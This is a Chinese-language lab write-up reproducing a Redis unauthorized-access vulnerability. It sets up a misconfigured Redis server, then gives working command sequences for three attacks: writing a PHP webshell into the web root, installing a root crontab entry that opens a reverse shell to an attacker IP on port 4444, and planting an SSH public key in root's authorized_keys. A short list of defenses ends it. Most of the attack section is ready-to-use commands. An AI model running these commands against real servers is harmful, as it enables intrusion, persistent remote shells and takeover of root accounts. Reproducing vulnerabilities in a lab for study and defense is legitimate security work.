漏洞复现记录--2
目录
一、实验相关配置
1.在靶机解压编译redis(编译需要gcc环境,yum -y install gcc)
2.进入提示的src目录安装redis
3.配置漏洞环境
4.攻击机主机发现
5.端口扫描(要关闭靶机防火墙 iptables -F)
6.版本信息扫描
7.攻击机安装redis
8.直接无密码连接 ./redis-cli -h 192.168.129.219
二、攻击姿势
2.使用crontab反dshell
3.利用“公私钥”验证进行ssh登陆
三、防御姿势
参考
一、实验相关配置
实验环境 redhat-6.5(靶机) kali (攻击机)
1.在靶机解压编译redis(编译需要gcc环境,yum -y install gcc)tar xzf redis-4.0.11.tar.gz cd redis-4.0.11 make2.进入提示的src目录安装redis
至此,安装成功
3.配置漏洞环境- Redis由于配置不当,导致攻击者可以经过未授权访问内部数据,造成敏感信息的泄露,也可以执行恶意命令flushall来清空所有数据;还可以通过eval执行lua代码或数据备份功能,在磁盘写入后门文件。
- Redis以root身份运行时,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
1> 为了方便 *** 作,将服务端和客户端复制到 /usr/bin
cp redis-server /usr/bin
cp redis-cli /usr/bin
将配置文件复制到 /etc
cp redis.conf /etc
2> 修改配置文件,允许远程访问,默认端口是6379,没有密码,这时候会导致未授权访问
vim /etc/redis.conf
注释bind ,允许除本机外的ip登陆redis服务
关闭保护模式,允许远程连接
保存退出
3> 启动redis-server服务 (redis-server /etc/redis.conf)
4.攻击机主机发现 5.端口扫描(要关闭靶机防火墙 iptables -F) 6.版本信息扫描 7.攻击机安装redis已经知道版本,直接下载,解压,编译
wget http://download.redis.io/releases/redis-4.0.11.tar.gz tar xzf redis-4.0.11.tar.gz cd redis-4.0.11 make
再安装,make install
8.直接无密码连接 ./redis-cli -h 192.168.129.219成功后可以进行 *** 作,redis状态查询
二、攻击姿势 1.利用redis写入webshell利用条件
- 靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
- 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
config set dir /var/www/html/ config set dbfilename phpinfo.php set x "rnrnrnrn" save //redis写入文件内容本身会产生很多垃圾数据,前后需要rn来和垃圾数据区别开
访问看看,写入成功(这里可能会出现解析失败,那是因为靶机没有php环境,yum install php,然后重启apache)
那就可以直接写入一句话,蚁剑连接
2.使用crontab反dshell
利用条件:redis以root权限运行
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.129.129/4444 0>&1nn" config set dir /var/spool/cron config set dbfilename root save
/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划
每过一分钟,root会向攻击者ip:4444反d自己的shell
3.利用“公私钥”验证进行ssh登陆利用条件:
- Redis服务使用root账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
1> 创建公私钥对
2> 然后这里就会产生一个公私钥对的隐藏文件
3> 将公钥内容传过去
config set dir /root/.ssh/ config set dbfilename authorized_keys set xx "nn id_rsa_pub里的内容 nn" save
4> 登陆成功(-i 后跟id_rsa的路径)
三、防御姿势- 修改默认端口
- 设置密码认证
- 尽量以低权限运行Redis服务
参考Redis未授权访问漏洞利用及防护措施(非常详细)_7Riven's blog-CSDN博客_redis未授权访问漏洞利用
10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园
crontab 详细用法 定时任务 - 四海骄阳 - 博客园
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)